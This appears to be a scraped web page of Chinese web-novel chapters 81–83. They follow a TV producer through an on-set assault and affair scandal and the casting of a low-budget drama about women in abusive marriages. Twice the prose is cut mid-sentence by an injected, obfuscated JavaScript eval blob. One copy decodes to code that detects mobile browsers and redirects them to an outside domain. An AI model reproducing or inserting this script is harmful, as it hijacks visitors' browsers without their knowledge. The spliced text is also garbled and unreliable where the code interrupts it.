每天看拍摄素材,是杨树一天最兴奋的时刻。单明玉大多作品都在拍英雄好汉,家国史诗,《狼穴》也被她拍得胆气横生,女主角像一把笔直的朴刀,在镜头里力量和美感兼具,每每让杨树惋惜工期太赶,剧本做得不太行,只能靠拍摄和制作加分。 何攸之让他带的随组编剧回去了,他演技不如韩紫倩,拍他得替他扬长避短,但他个人条件很出色,高大有力,动作戏很利落,B组导演在剧本基础上给他添了若干场展现身手的戏。 有个傍晚,杨树忙完去B组片场,远远看到何攸之穿着军装,在空无一人的长街慢走,衬着一轮落日,画面壮美而安静。 这一幕发生在何攸之孤胆闯关,枪杀数人后,是B组导演现场加的,就为这夕阳如画。 美人总能给人强烈的蛊惑感,直教杨树想起两句诗:秋风宝剑孤臣泪,落日旌旗大将坛,她自此认真留意何攸之,他35岁,科班出身,大学时演过古装剧里的庸君,那是杨树对他有印象的第一个角色。 帝王戏习惯描绘文治武功的一代明君,但那部古装剧的主创人员塑造了一个不合格的帝王。他从雄心万丈到放纵享乐,对宫人良善,对后妃恩宠,但像软刀子割肉一样,庞大的皇朝在他治下一步步腐朽,他遥看帝国的黄昏,走向苍凉的黑夜。 剧播得不算好,多年后才作为小众口碑剧被人提起,人们称赞主创人员有魄力,颠覆了赞颂帝王的写法,用一个庸君来反思封建独裁的落后性和危险性,有很高的艺术价值。 演这个角色的时候,何攸之才23岁,随后又演了几部正剧,角色非富即贵,都热播一时。前几年综艺节目流行,何攸之是常驻嘉宾,耍宝为乐,再未拍戏。当他自己都不再留恋演过的角色,影迷剧迷何必替他记得?最多在盘点时惋惜几句罢了。 综艺节目拍起来不费劲,收入也高,何攸之好几年没演电视剧,但粉丝比以前多得多,《狼穴》是他近5年接的第一部剧,后援会组织了探班活动。 后援会会长把探班规格和粉丝应援物都发给何攸之工作室确认,工作室安排人手和剧组对接,杨树让制片助理小五全权处理,自己腾出时间盯《红雨》进度。 81. 第 81 章 杨树把《红雨》对标《暗昼》,做12集短剧,姚澈评估了一番,从主题到内容,10集左右会更紧凑,副总裁批准了,但投资预算只给2200万。 KR网站从去年就布局短剧业务,还在摸索阶段,不可能给更多预算,但会减少创作上的干预,理性放权,这是好事,杨树愁的是账算不过来。 杨树对剧本的要求是细腻有力,锋芒毕露,有社会价值,这注定得启用演技派,但从年龄到演技都达标的演员里,谁肯演成本这么低的剧?即使不计片酬,演员更倾向演电视剧,台网联动,既能增加国民度,还有冲击奖项的可能。 姚澈让杨树别急,税改对行业冲击很大,有些中小型影视公司倒闭了,开机数量也腰斩式下滑,演员们的处境今非昔比。前不久,某个当红小花旦就公开直言,已经8个月没有拍戏了,以往每年她都参演4到5部剧。 把《不惑之年》打入冷宫的安歌也没好日子过了,她发表了一个演讲,各大公司和平台一股脑地拍甜宠剧,她想演戏只能演工具人,从这个戏到哪个戏都不用换戏服。 中年男演员能跟年轻的女主角谈恋爱,但中年女演员就只能当妈、当配角吗?连口红等化妆品广告都改请男艺人代言,女艺人生存空间被打压,安歌呼吁投资方、制片人和主创人员多看看她这样的中年演员,她们能演好戏。 安歌唱作俱佳,引来女观众一片唏嘘,都叹息好演员被埋没。杨树没看完演讲就关闭了,没钱没资源的电影人都在想办法拍独立电影,安歌有人脉,不缺钱,想改变只能演工具人和烂剧本的状况,为何不自己当老板去投拍?卖惨是最没意思的。 姚澈还惦记着《不惑之年》,是时候重启了,她仍想请安歌主演。论和女主角的契合程度,安歌的分数最高,如今再找她,还能多杀点价。 杨树笑了,刀子不割到自己身上不疼,现在的安歌可能不会再如2016年那般趾高气昂。姚澈是能找别人,但谁让目标人选里,安歌和角色契合度最高? 没钱有没钱的拍法,玩不了花头,就在剧本上下苦功。《红雨》只做10集,剧本写8集就够了,编剧宋琳和白蓝手速很快,而且律师岑川还能打个助攻,8集分集梗概顺利通过,进入剧本写作阶段。 国庆节前夕,杨父飞来上海看女儿拍戏,他请了年假,能待上十来天。秦父的病情给他拉响了警报,他过完年就开始健身,每天慢跑5公里,饮食也很注意,争取不给杨树添麻烦。杨树这次见到的爸爸,各方面状态都不错,她兴致勃勃带爸爸下馆子。 跟秦朗分手,杨树第一时间就和爸爸说了。爸爸摇头叹息,末了说:“要不要请几天假,旅个游散散心?” 杨树觉得用不着。在剧组忙碌之余,她仍会习惯性地想起秦朗,但总能克制自己,不打电话也不发信息,她知道,一切都会过去。 爸爸知道女儿忙,自己去看人拍戏,有时也嫌枯燥,杨树租了剧组的金杯车,让他去逛上海。她总有忙不完的事情,还得当个人间观察员,为《红雨》两位编剧提供素材。 《红雨》主写逃离婚姻囚笼的女性,爸爸在工作上也接触了不少。乡下女人被家暴,很多人都会忍受,因为她们自幼所见,亲戚朋友也都被打,她们以为这是正常的。 有人终于意识到不对,找警察哭诉,但她们的诉求是让警察帮她教育男人不再打她。杨树问:“被打不疼吗,知道疼还不跑吗?” 爸爸说先得改变观念,杨树31岁了,老家的熟人听说她还没成家,都感到不可思议。说这些话的都是受过一点教育的人,生活在城市,那么在农村呢?女人和她们所处的环境可能从没想过,结婚生子不是人生的必选项。 杨树以前不是很爱交朋友,现在也不是,但当个创作者,要让自己的思维尽可能打开。在《狼穴》剧组,她跟一切女性闲聊,融汇贯通到《红雨》的剧本创作里,比起当制片主任,她更喜欢做内容。 10月中旬,爸爸回海拉尔,杨树把他送去机场,半路上,小五通知杨树,剧组出事了。 男女主角戏里是情侣,戏外生情,但韩紫倩的新金主容不得,派保镖寻衅。保镖假意来探班,片场正拍着戏,他揪住何攸之开打,打斗中,摄影机被推倒,保镖把镜头组全砸碎了,摄影、灯光等人都冲过去,但保镖是退伍兵,几个人都被撂倒。 保镖当场把韩紫倩提走了,杨树给爸爸叫了网约车去机场,自己开着金杯车,往韩紫倩金主的老洋房赶。 何攸之被打趴在地,幸亏他反应及时,极力护住脸,只受了皮肉伤,没有大碍。但今天的拍摄进度泡了汤,杨树联系器材公司送设备,开车去老洋房途中,她让小五做了三件事:一,对全剧组工作人员封口,统一口径称何攸之因拍戏受伤;二,让熊好好调整拍摄通告单,把韩紫倩戏份往后放;三,委派人手保护何攸之。 韩紫倩手机关机,所有联系方式都找不到她,她的助理急得大哭,求杨树报警。杨树让她请示经纪人,经纪人已在北京飞往上海的飞机上,就一句话:“绝不能声张。” 韩紫倩金主的保镖很狡猾,今天韩紫倩和何攸之都是文戏,不在B组那边,他才跳出来。单明玉把组里所有武行人员都派来,陪同杨树和韩紫倩的助理一同守在老洋房附近,杨树赔着笑,又是发烟,又是送饮料,左邻右舍才没报警。 每隔一刻钟,杨树就派出一名武行去敲门,经门房通传,《狼穴》剧组制片组请韩小姐回去拍戏。门房每次都客客气气地应了,但下一次敲门,他仍像第一次听到这句话一样。 时间一分一秒地流逝,杨树的情绪绷到极点。法制社会,她不担心韩紫倩的性命,大资本家不可能为了惩治一个女人就把自己的余生赔进去,但把她揍一顿,揍成谢铠那样,《狼穴》就被动了。 3个小时过去,韩紫倩仍然联系不上,武行人员都说这里才是真正的狼穴。杨树崩溃得找人讨了一包烟,坐在花坛上一根根地抽。她没抽过烟,但抽烟实在很简单,人为什么要把这种动作称为抽呢,男人抽打女人,是不是就像这样,轻松得不费吹灰之力,只需夹在两指之间,看它挣扎,哀泣,熄灭,随风而逝。 韩紫倩的经纪人到来,跟杨树蹲在花坛上一起抽烟。夜幕中,杨树望向无聊得打起扑克的武行,他们人手一支烟,细小的亮光一闪一闪,像一群东倒西歪的萤火虫,她兀自发笑,《狼穴》是自己经手最快推进的项目,但挫折比哪次都大,而且今天也许只是个开始。 深夜10点,韩紫倩毫发无伤地走出金主家。这个圈子的人失去庇护会再找上新的,她新近的这位金主财雄一方,金主所有的情人里,韩紫倩是最受宠的,宠到让金主的太太有了危机感,想办法透风给丈夫的保镖,才有了这一出“捉奸”事件。 韩紫倩让杨树放心,她已经得到金主的原谅,不会再给剧组添乱,杨树斜睨她:“真的吗?” 韩紫倩撩撩头发,露出凄迷的笑容:“不然怎么说我最得宠呢?” 杨树没问韩紫倩是怎么办到的,虚惊一场,她很累,什么都不愿多想。 韩紫倩和何攸之都住在剧组提供的五星级酒店,尽管何攸之助理说他已睡下,杨树仍敲开他的门,面对面查看了何攸之的伤情,照片能作假,她得亲眼看过才放心。 何攸之脸上挂了彩,但闪躲及时,他说养个几天就能见人,但他拿了那么高的片酬,折算到每一天不是小钱,杨主任不打算放过他,冷冷道:“你睡醒了就给我滚去剧组,不能超过中午。” 回到工作人员住的连锁酒店,已近凌晨两点。杨树给编剧们留言,让他们给男主角写几场受伤的重头戏,再给同一间房间呼呼大睡的熊好好留言,通告不用改,何攸之和韩紫倩的戏照拍。 事情繁杂,困倦万分,反倒睡不着,杨树爬起来吞了一颗安眠药。从《暗昼》起,她已连续半年每天工作15个小时以上,经历过重度失眠,躺在床上瞪着天花板发呆,吃安眠药吃到眼前产生幻觉,好容易才好转,麻烦事又来了。 熬到天亮,杨树仍没睡着,脑子混沌得连剧本都看不懂。刷完牙,她坐在床上看网页,脑子一嗡。何攸之婚内出轨韩紫倩,被韩紫倩男友抓包的消息已出现在网络上,并以肉眼可见的速度传播开来。 剧组工作人员都签过保密协议,杨树有点怀疑是韩紫倩金主的太太找人干的。 韩紫倩团队快速作出响应,联系各方人员极力把热度降下去,但骂人的嘴总是更快,无数人都辱骂韩紫倩是贱人。 纸包不住火,几个营销号发力,消息闹大了。何攸之和太太育有一子一女,是娱乐圈的模范夫妻,一家人上过亲子节目,代言过广告,搁哪儿都是佳话,于是韩紫倩越发为人痛恨。骂何攸之也不少,但他的粉丝很骁勇,怒火主要集中在韩紫倩身上。 《狼穴》重蹈《暗昼》覆辙,男主角又因为乱搞男女关系被打了,丁盼兮问:“贵圈有人不当剧组夫妻吗,不可能都这样吧?” 杨树笑笑,圈外人总对美人们的性道德怀有过高期许,她说:“也有吧。” 熊好好对韩紫倩很不满,左一句小三,右一句破坏家庭不得好死,杨树看她一眼:“小韩没想过要破坏何攸之的家庭。” 熊好好骂道:“那也不能跟已婚男人纠缠!” 杨树问:“你怎么不骂何攸之不忠于家庭?” 朱青从苏州过来看杨树,她无力帮杨树平息丑闻,但杨树被破事儿折腾得脑子里闹哄哄,需要有人替她做点事,哪怕开开车都行,起码在车上那段时间,她能打个盹。 朱青在苏州生活很规律,买菜,做饭,遛狗,跟邻人和小贩攀谈。她以前话少,但现在在网上做读书分享会,得练口才。杨树央她在上海多待几天,等《狼穴》杀青,她想去苏州住段时间。 男主角受伤用几场戏就能交待,编剧们快速地交出来,杨树打回去让他们重写。拍《天作之合》时,导演潘亚勤说过:“你写的是个牛×的人,那就不能让他像傻×一样死去。”这句话让杨树记到现在,男主角的受伤得精心设置,巧妙融合到剧情里,不能草率应付。 《狼穴》是网台联动剧,投资不小,不能因为此事影响发行。姚澈飞来上海,杨树陪同她去拜访何太太。何攸之和韩紫倩的丑闻并不需要大众原谅,只需要另一半接受。 何太太是野生派,少女时以清纯著称,她母亲把她送给某大佬,大佬把她转送给影视公司的老板,老板砸钱砸资源,一手捧红她。太太走红后依然很乖顺,有时老板跟别人谈生意或度假,都会让她陪同,等老板腻了她,把她当人情送给了合作伙伴。她很想得开,有资源就行。 太太在何攸之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩紫倩金主的太太又何尝不是,金主不止韩紫倩一个情人,太太都默认了,但直到自己的地位遭到韩紫倩的威胁,她才出手,目的仍是为了维护利益。杨树没见过她,但摄影师的太太和何太太等人的面容,她都仔细观察过,花大价钱做保养,仍显出了凶戾相。 贪婪的人戾气重,再默诵一百本经书也没用。为了利益而忍耐也不是不能理解,但这些女人看似求仁得仁,内心不好受,都写在脸上。编剧们都说,原因在于拧巴,太太们认为钱财是最重要的,但依然对男人有幻想。 人很难干过自己的心,《红雨》在反复的讨论中日渐清晰,女人忍受满目疮痍的婚姻,只因婚姻里有她想要的好处。责编章嘉敏问:“中产那对,女的在物质上是能图到一点东西,另一对呢,男的很穷,还不上进,还打女的,女的能有什么好处?” 杨树笑着说好处不单指物质,图个有男人要,就是她们以为的好处了。为什么能忍?因为追求的东西不一样,因为害怕的东西也不一样。这段婚姻很残酷,但婚姻之外,有让她们更害怕的。 男人摧残我,但又哄我,给我小甜头,在他身边,我有口饭吃。外面的人会对我好吗?世界上最可怕是未知,我害怕离开以后,吃不到现在这口现成的饭。 章嘉敏怒问:“有手有脚,怎么养不活自己?” 朱青说:“人有思维惯性,还有惰性。” 自小受的洗脑教化以及大环境不断恫吓,让一些女人失去破釜沉舟的勇气,编剧们说《红雨》是个找回勇气的故事,她们写得很投入,杨树不知道它的前途如何,但真的很想让更多人看到它。 朱青在上海陪杨树住了一周,两人待在一起最长做的事是散步,走到夜深也不知疲倦。等到《红雨》交出前3集剧本,杨树看完,忍住鼻腔酸意,奖励自己吃了一只蛋糕。 编剧宋琳和白蓝写得很细腻也很克制,基于性别和权力的交锋用了很多细节去展现,而不是直白地叫嚷“这是女性遭遇的不平等处境”,夫妻之间的对手戏尤其漂亮,杨树被深深击中了。 责编章嘉敏是婚姻中人,提了一些小意见,等编剧改完后,姚澈联系杨树:“这戏你当执行制片吧。” 杨树自觉当制片主任都吃力,许多设备她见都没见过,杂事也疲于奔命,但姚澈把她视为后备力量,让她尽快成熟起来,杨树仍想婉拒:“您这叫拔苗助长。” 姚澈宽她的心,她会担任《红雨》总制片,看着杨树一点。明年工作室还得再开5个戏,她得拿小制作让杨树练手,《红雨》总投资才2200万,出错也出不到哪里去。 杨树对《红雨》剧本很有信心,接下任务。姚澈丢来劳务合同,杨树发给岑川把关,丁盼兮看到酬金,大叫:“都当上制片了,只能拿30万?” 杨树是第一次当制片人,一集拿3万不算低,姚澈工作室另一个制片人,有三部作品播出,到现在也不过一集5、6万的样子。 丁盼兮难以置信,制片人得通盘负责一部戏,居然只能拿这点钱,杨树让她理解成行政工作,做行政相当于服务别人,不如做技术的拿得多是正常的。丁盼兮又问:“导演能拿多少?” 杨树拿单明玉举例,她是比较有名的导演,去年补税前,单明玉团队一集酬劳20万左右,去年起,影视业步入寒冬,单明玉拍《狼穴》,团队一集15万。丁盼兮叹气,导演是技术工种,但跟演员们没得比,连谢铠那种垃圾人,都能卷走剧组的大头。 “用他们,平台才会买,观众才看,市场经济,不认不行。”杨树又升职了,虽然压力空前,内心还是很喜悦的。个人的努力固然重要,没有时代的潮水推动也难以成事,若不是KR网站在布局短剧市场,她现在绝对拿不到这样的机会。 82. 第 82 章 副总裁希望明年上半年投拍《红雨》,但启用全新人阵容太冒险,他要求选有点知名度且有演技的,《红雨》双女主的爆发戏很多,新人恐难胜任。 杨树想找韩紫倩出演,但她嫌片酬低,角色还憋屈,拒绝了。保镖打人事件后,韩紫倩对金主卖了乖,但并不收敛,她长得白皙秀美,但做派豪放,说话也痞气,女二号和她很要好,两人放工就去喝酒、抽烟和撩汉,过得很惬意。 熊好好很看不惯,但对杨树来说,剧组太平无事,就比什么都重要。而且她发现,男女关系混乱的人,跟他们当泛泛之交倒挺融洽的,他们嘴甜情商高,乐于交际,还体贴,很会照顾别人的感受。 杨树盯上了《狼穴》女二号,女二号在圈内也算有名有姓,但咖位尴尬,投资方觉得挑不起大梁。 女二号密集地接戏拍戏,但不上不下,她动了结婚念头。一个科技圈的新贵在追她,虽然其貌不扬,但身家不俗,人就在上海,经常来探班,女二号把他视为结婚对象,花时间和他培养感情,很少再去参加酒局,因而拿不到资源了,她能演《狼穴》,是姚澈给的机会,两人多年前合作过。 杨树聊起《红雨》,女二号很想演,她下部戏没着落,人很焦虑,对片酬没有多少要求,播出即为胜利,她有几部作品都没能成功发行。 《红雨》是双女主故事,杨树躺在床上想了半天,《红雨》片酬低,只能杀熟了,她把剧本大纲、分集梗概和前3集剧本都发给唐问羽,还摆明了难处:“片酬是大白菜,但是只拍一个多月。” 唐问羽看完剧本说:“无论如何我都要演,但我只有明年元月到3月有空。4月接了古装剧。” 《红雨》只剩5集剧本,1个月内完成,理论上来得及。杨树把唐问羽和《狼穴》女二号都报上去,副总裁只认可唐问羽,她演技自然,能演生活中随处可见的都市女性,但她是青衣,快33岁了,定了她,第二女主角贫困女得找个在年轻人里有点号召力的花旦,《狼穴》女二号年纪偏大了,演技也勉强。 杨树把自己能想到的有点流量的小花旦问了个遍,但档期都不合,而网站签约演员年资范围内的大多演技青涩,她只能找熟识的选角导演对外发组讯。 副总裁担任了《红雨》监制,他有个相熟的导演看了前3集剧本,有意执导。导演拍过几个艺术电影,对《红雨》意愿强烈,酬劳也要得不高,副总裁跟杨树说起,杨树犹豫了一秒钟,说了实话:“这个导演太能花钱了,我有人选了。” 副总裁乐了,问杨树从何得知,杨树在长夜影视公司业务学习时,什么影视剧都看,导演拍的电影她也看过,里面充斥着炫技般的镜头,演员一句台词讲完,就咔咔远景、近景和特写,停顿极漫长。杨树承认画面很精美,却不包含有效信息,就为展示审美高级、摄影技术高超,但影像是用来叙事的,不是为了让观众看摄像机怎么转换。 电影导演被弃用,杨树找了《暗昼》的导演钟鲁粤,他也要求各个机位黑白明暗高低俯仰整体局部都拍,但他是用镜头讲故事。 唐问羽的档期有限,《暗昼》在元月下旬就得开机,各项工作现在就得筹备起来,但《狼穴》剧组事务多如牛毛,杨树走不开。钟鲁粤在拍一部抗战剧,12月还得补拍《暗昼》,也忙不过来,杨树请朱青帮忙去无锡勘景。 《北宋宫事》曾经在无锡取景,杨树跟当地做道具器材和服饰的公司都混熟了,再度合作能拿到便利。她本想在北京就近拍摄,但开机时间是元月,北方太枯寒了,只适合拍《暗昼》那种有黑暗气质的剧。 《红雨》是女性向,杨树想拍得时尚点,都市也是丛林,更能吞噬人。《红雨》的两条线分别是城市和乡下,无锡都能包容,而且南方的冬天有绿意,画面上也漂亮。 早在7月时,一部古装武侠剧在KR网站播出,播得很一般,但还是赚到一点钱,水花也有一点,最关键是制片人只用了1600万拍出了24集,是很宝贵的经验,小五联系上了该剧制片人秦琪,杨树虚心请教。 秦琪对小五和杨树一五一十道来,古装剧在服饰上都得花不少钱,但平台给她的经费太紧张,她索性只给两大主角做三套衣物,配角们都只有一套,连裤子都不做。小五张大嘴巴:“光着腿?” 秦琪说:“光着,只拍他们上半身。飞来飞去都是主角干的活,主角有裤子穿就可以了。” 杨树和小五想象那画面,放声大笑。于是乎,杨制片决定让主角们带私服拍戏,他们在剧里的家和平时常出现的公共场所,也尽量去谈赞助,所有私人人情都腆着脸用上,力争一毛不拔,再雁过拔毛。 与两个女主角相应对应的男主角倒是好找些,KR网站副总裁出于省钱的目的,找上何攸之。那次保镖大闹剧组,因何攸之而起,从人员到设备都遭了殃,还使剧组蒙受多方非议,他不可能一点责任都不承担。 《狼穴》开机前,杨树给剧组人员和设备都投了保,东西被砸坏,经济上的损失都补回来了,但秋后算账才是网站副总裁的本色。 何攸之平时的片酬比《红雨》总投资还高,但《红雨》才10集,只用拍一个多月,角色还是双男主之一,又是非常时期,演一演也无妨,况且他对《狼穴》制片组理亏。只不过,角色是坏丈夫,他很犹豫。 太太看过剧本,让他试一把无妨,男主角从温柔到疯狂,再到可怜,剧本里有好几个转折,赋予了角色以温度,勾得住观众。 编剧写《红雨》很遵循杨树的要求,以白描方式去写生活,不进行道德预判。何攸之那个角色有能力也体贴,对太太百依百顺,还会制造浪漫,用心过日子,当他出轨部门的实习生后,观众会理解女主角不离开的原因,他别的都好,比别人好,一定是那个年轻女人勾引他,我得把他拽回来,我该想哪些办法? 关于抉择的戏写好了很耐看,编剧做到了,何攸之答应出演《红雨》。他和韩紫倩的绯闻仍有人将信将疑,他接这个角色,倒像是心地坦荡之举了。 若是以往,杨树会喊祁宁演另一个男主角,但时间太不赶巧,12月到元月初,祁宁要配合谢铠补拍《暗昼》,明年2月初还得拍一部老北京生活剧,他演男一号。 选角导演试戏后,定了尹云谅演第二男主角。尹云谅是艺名,演话剧出身,被KR网站签为“分约”演员,《红雨》是他参演的第一部剧,只能拿到10万块。 影视剧市场有话语权的是平台,能决定主演人选的制作公司已不超过10家,大多都得根据平台的意见行事。尹云谅签下分约协议,以后才会出现在优先选择演员名单里,但他所有收入,不仅是片酬,包括商演、代言,影视项目的片酬,都得按一定比例分给KR网站。 寒冬当前,戏约不多了,经纪人签了协议,演员很敏感,空窗期太长,对自信心打击很大,而且尹云谅25岁了,仍没出头,往后只会更难。 四大主角只差第二女主角贫困女没定,姚澈和副总裁也都在各自留意。2200万投资如利剑,悬在执行制片人杨树头顶,她压缩人员、车辆和物资配置,让编剧把功夫下在讲好故事,塑造好人物上。 11月初,《狼穴》拍摄近半。副总裁找来影后俞小舟出演《红雨》女主角之一,所有人都震惊了。 俞小舟从15岁起接连演过几部经典剧,虽然是配角,但少女本身清新如夏花,没什么演技也讨喜,很有观众缘,是影视圈起点很高的女艺人。 一次混酒局,俞小舟遇见一个香港名流,他给俞小舟拉来资源,她演上电影女主角了。电影是同..性元素的文艺片,俞小舟饰演迷恋父亲情人的女孩,死在去寻找她的路上。 香港名流擅长运作,电影没能公映,但在国外的小电影节上拿了几个还凑合的奖项,包括最佳女主角。 小电影节的影后头衔含金量有限,但比起《红雨》已定的演员,俞小舟履历最好,她能演低成本的《红雨》,杨树挺吃惊,问了姚澈才知道,俞小舟纯粹是没办法。 夏天的时候,KR网站有部大IP剧邀请俞小舟演女主角,原著人设是16岁的亡国帝姬,但当时俞小舟才拿了影后,人很膨胀,得知男主角是公认没演技的谢铠,她挺嫌弃,提出换人。 演员是没资格让甲方换搭档的,此事惹怒网站高层,联合另外几家封杀俞小舟,她演的影视剧一律不采购。俞小舟想方设法认错,网站高层不予理睬。 俞小舟没拍那部大IP剧,接了一个地下电影,饰演被两个叛逆少年争夺的不良少女,资深影人看了素材后,都推测明年送去参奖,很可能拿奖。 电影出品方想把版权卖到网站,俞小舟在饭桌上给高层们敬酒,认错态度很诚恳。这行向来熙熙攘攘,只为利来,高层乐意解除□□,但要求俞小舟不计片酬演一部网站出品的戏。 俞小舟答应了,网站这次只扔给她几部小成本的剧,她选了《红雨》,想演唐问羽那个都市中产女性的角色。 俞小舟长得瘦弱寡淡,很适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091488|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合演边缘人,从处女作开始,她就一次次在影视剧里死去,以她的外形,只适合演《红雨》里的穷困女,可她想演有挑战性的。杨树心里叫苦,以唐问羽1米76的身高,健康乐观的精气神,演技再好,也难以演好被侮辱被损害的家暴受害者。 杨树找俞小舟本人谈,但她坚持只演心仪的角色。杨树对唐问羽满怀歉意,这女人看了剧本就接了,一句片酬都没问,对她很够意思。 唐问羽不在意:“都是朋友嘛,那我看别的剧本去了。” 互联网喜欢发明新词,一线演员被称为头部演员,唐问羽算是肩部演员,影视业持续寒冬,她去年就签约的大制作古装剧黄了,今年一整年只客串了《暗昼》,还演了一个人设不好的女二号,就再也没有接到新的工作邀约了,寒冬之时,资本变得分外谨慎。 去年以前,演员供不应求,但今年演员的档期很好敲定,别说底层演员,像唐问羽这种肩部演员,杨树喊一声,她就愿意演。杨树很难受,她给人希望,却又抽走,不是人。好在姚澈工作室和明堂影业每年都会开几部戏,有合适的她会再想着唐问羽。 俞小舟和何攸之都加盟《红雨》,它未播先热,广告赞助也好谈了,网站对它的期许不一样了,副总裁让编剧们扩充剧本,做成16集成品。 编剧们做的8集剧本,每集13000字,能从容地剪出10集成片,但做16集改动不小。副总裁提议再加条线,做三个女性的故事,杨树和编剧都不愿意,目前的剧本结构很严密,横生枝节破坏气质。 姚澈说服了副总裁,副总裁没有再强求,只把《红雨》当成试验品,10集就10集吧。 选角导演试戏无数人,留下三人竞选贫困女。杨树抽了一天时间回北京看演员,副总裁正好有空,也晃过去看,杨树选定一人,她以敬业著称,是公认的劳模,试戏效果还可以,但副总裁没同意。一部戏不能两个人演技都瞎,俞小舟的演技不稳定,第二女主角不能再塌掉。 杨树看上的人选,在副总裁看来是勤奋但没有悟性的类型,她能把角色演得不出错,但不出彩,演戏于她是工作,而不是塑造,贫困女还得另外找人。 副总裁设宴,俞小舟和第二男主角尹云谅都来了,尹云谅不算帅,但身型气质不俗,而且恰恰因为不帅,能演藏锋之人。 俞小舟被粉丝取了爱称叫茉莉少女,夸她小小的,香香的,芳姿楚楚,镜头下的她细眉细眼,形销骨立,瘦得很病态。杨树对她饰演剧本里“温婉大方的中产女性”存疑,脑子转得飞快,她得想办法把俞小舟换成贫困女。 饭桌上,俞小舟随时随地察言观色,用力咧嘴笑,笑声咯咯咯咯咯,像个喜庆的小母鸡。她坚持演第一女主角,说想突破自己,杨树理解她,一个有野心的演员,绝不甘于演雷同的角色,但她提出试戏,俞小舟当即脸色就变了。 杨树抬起了下巴,看着俞小舟不说话,俞小舟看向副总裁,副总裁看看杨树,杨树说:“我们约个时间试戏吧,反正另一个女主也没定,你有优先选择权。” 杨树不妥协,副总裁没多说,在演员和制片人之间,他选替他做事的那个。过了两天,杨树发回俞小舟试戏的片段,副总裁叹气:“还是再跟唐问羽谈谈吧。” 杨树第一时间把合同发给唐问羽,免得夜长梦多,白纸黑字签定,她和唐问羽齐齐松口气。 此前,另外几个主演没完全定下来,《红雨》没官宣过,但粉丝已把俞小舟视为第一女主角,自制了很多海报,俞小舟被唐问羽压番的风声传出,他们暴怒了,疯狂找上《红雨》官方微博。 在国内,拿了奖就有了盾牌,能吸引到一票慕强者自发维护俞小舟,她的粉丝战斗力很强,杨树仍按着没官宣,就是不想看到他们戾气太重。 俞小舟跟网站的意向合同其实明确了是一番,但这种争番位的做法是粉丝经济下的产物,任何一部水准线之上的作品,都得依靠群像成功才能实现。 粉丝怒撕番位,无人理会,他们进一步施压,连网站大老板、副总裁和姚澈等人都被他们发了私信。俞小舟对自己变成第二女主角有气,放任他们争闹。 粉丝们始终没等到说法,宣布不再为《红雨》贡献一丝一毫力量,转而攻击唐问羽、何攸之和尹云谅。尹云谅在影视圈是查无此人,被撕得最惨,社交网页下没法看。 粉丝们撕得延绵不绝,当副总裁也被人贴了大字报,怒了:“粉丝太烦人了,以后我们自制剧用点安分的。” 83. 第 83 章 《红雨》四大主角确定,杨树略微放松了一点,把《西北年轻人》样片光盘塞进笔记本电脑,每晚看两集。 《西北年轻人》正在地方台播出,收视率很高。张程程为杨树收罗剧评,很多路人观众都说写的就是家乡人,家乡事,还有几个中学生说第一次知道学化学未必就是当教师,还能做些跟生活息息相关的应用,她们都想报考女主角大学时读的应用化学专业。 杨树拍拍自己肩膀,开了一瓶酒。她想要传递的温暖和爱被人接收到了,她觉得自己干了一件值得干的事。这时候,她又想和秦朗分享,但念头闪过就罢了。 扶贫剧娱乐性较弱,很难赢得年轻观众,但从剧评来看,大家干得不错,编剧们和原著作者霜晨月都很高兴。 《西北年轻人》在地方台播得好,明年上卫视也有盼头,老领导说过,扶贫剧是明年的重点剧目,会贯穿全年。杨树和前助手谢纵施敲定了明年出版《西北年轻人》的原著小说《玫瑰掌门》,她来当编辑。 那年霜晨月写完小说,杨树就想出版它,但出版业全线萎缩,成年人除了给孩子买书之外,基本都不看纸书,出版社哪还有能量出版普通作者的作品?一开机印刷就是真金白银,卖不出去就只能化成纸浆。 影视剧能带动纸书的影响力和销量,《玫瑰掌门》终于得到出版机会,等到明年在卫视播出期就发行上市。杨树每天给自己留出半小时审阅原稿,她又做上最顺手的图书编辑了。 比起《西北年轻人》,《北宋宫事》相当不顺。8月的时候,样片做完去送审,收到1千多条审查意见,有些往年能过审的,今年都过不了。 最大的意见仍如拍摄前预估的那样,主角塑造得太狠厉,尽管宋太宗和刘娥都是历史上有名的狠角色,但时代不会放过文艺作品和言论边界的风吹草动。 单明玉在拍摄《狼穴》,分身乏术,整改工作交给助手负责。钱一诺是这部戏的出品人,为此几次去拜访有关人士,有些意见,片方会予以调整,但有些意见,他认为值得商榷,得去辩个子丑寅卯。 姚澈有句口头禅,一部戏有一部戏的命,杨树已足够明白。所有项目的前程,都不是自己就能决定的,但自己能把控的环节,就尽力做到最好。 12月中旬,《狼穴》杀青,《暗昼》则进入补拍环节,当时的制片助理去现场督战,杨树的重任是《红雨》。 《狼穴》杀青晚宴上,编剧们很懊丧。时间太赶,每天一睁眼就是码字,没精力把戏写得更好。杨树拿霜晨月的话安慰他们,这世上不存在完美的创作,越琢磨越觉得自己写得崩坏,但想修改到完美再公布于众,你将不会有任何成品,文艺作品最重要的不是完美,是真诚。 杨树没回北京,去无锡驻扎起来,再过一个月,《红雨》就开机了。朱青为她确定了数处免费拍摄地,还有些则是棚拍。 小五很麻利,筹备工作没让杨树太操心,勘景和财务则是朱青和丁盼兮的功劳,杨树笑言亲友团是自己的三头六臂。 平安夜,杨树去苏州找朱青吃藏书羊肉,朱青牵上了她养的大狗,饭后在黄叶满街的夜里散散步,江南的冬天很清润,围上围巾,一点儿都不冷。 药物副作用的缘故,朱青比离开北京时胖了很多,但精神状态还不错,她做的线上读书分享会被特殊教育学校的老师发现了,将定期和一群视障人士分享和交流读书心得。 国内目前有1730多万人无法正常阅读,朱青想把读书分享会做得更好些,以后设法去找视障文化服务中心联合做点事。 